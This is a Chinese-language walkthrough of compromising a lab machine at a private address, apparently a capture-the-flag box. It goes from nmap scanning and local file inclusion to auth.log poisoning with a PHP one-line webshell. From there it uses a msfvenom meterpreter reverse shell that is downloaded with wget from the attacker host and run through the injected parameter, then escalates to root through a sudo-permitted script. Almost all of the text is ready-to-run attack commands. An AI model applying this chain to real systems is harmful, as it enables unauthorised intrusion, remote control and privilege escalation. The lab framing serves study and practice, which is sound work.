一、信息收集
1、主机发现
nmap 192.168.236.0/24
2、端口扫描
nmap 192.168.236.158 -p- -A
3、目录扫描
dirsearch -u http://192.168.236.158
二、漏洞探测
步骤一:访问80端口,寻找功能点,点击 ABOUT US 后,URL中有请求参数:/?file=about.php,可能存在文件包含漏洞
步骤二:对此页面使用 Burp 进行抓包,爆破文件,在此之前,下载一个路径文件 LFI-JHADDIX.txt
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt
步骤三:爆破之后,在 /var/log/auth.log 路径下可以读取到ssh登录日志
步骤四:利用ssh登录产生错误日志写入一句话木马,测试发现可以利用cmd执行命令,说明木马写入成功
ssh '<?php @system($_GET[cmd]);?>'@192.168.236.158
三、GetShell
步骤一:用msfvenom生成 shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.236.137 LPORT=4444 -f elf > shell.elf
步骤二:设置监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.236.137
set lport 4444
run
步骤三:开启web服务,进行远程下载,利用前面的漏洞执行远程下载和运行,将以下命令拼接在URL参数后面,执行,三条命令执行完成,即可监听成功
python3 -m http.server 8000
/?file=/var/log/auth.log&cmd=system('wget+192.168.236.137:8000/shell.elf')%3b
/?file=/var/log/auth.log&cmd=system('chmod+%2bx+shell.elf')%3b
/?file=/var/log/auth.log&cmd=system('./shell.elf')%3b
四、提权
步骤一:获取交互式shell
shell python -c 'import pty;pty.spawn("/bin/bash")'
步骤二:查询一下具有sudo权限的命令
sudo -l
步骤三:发现xxxlogauditorxxx.py 可以以 root 运行,执行以下命令,成功提权
sudo ./xxxlogauditorxxx.py
/var/log/auth.log | whoami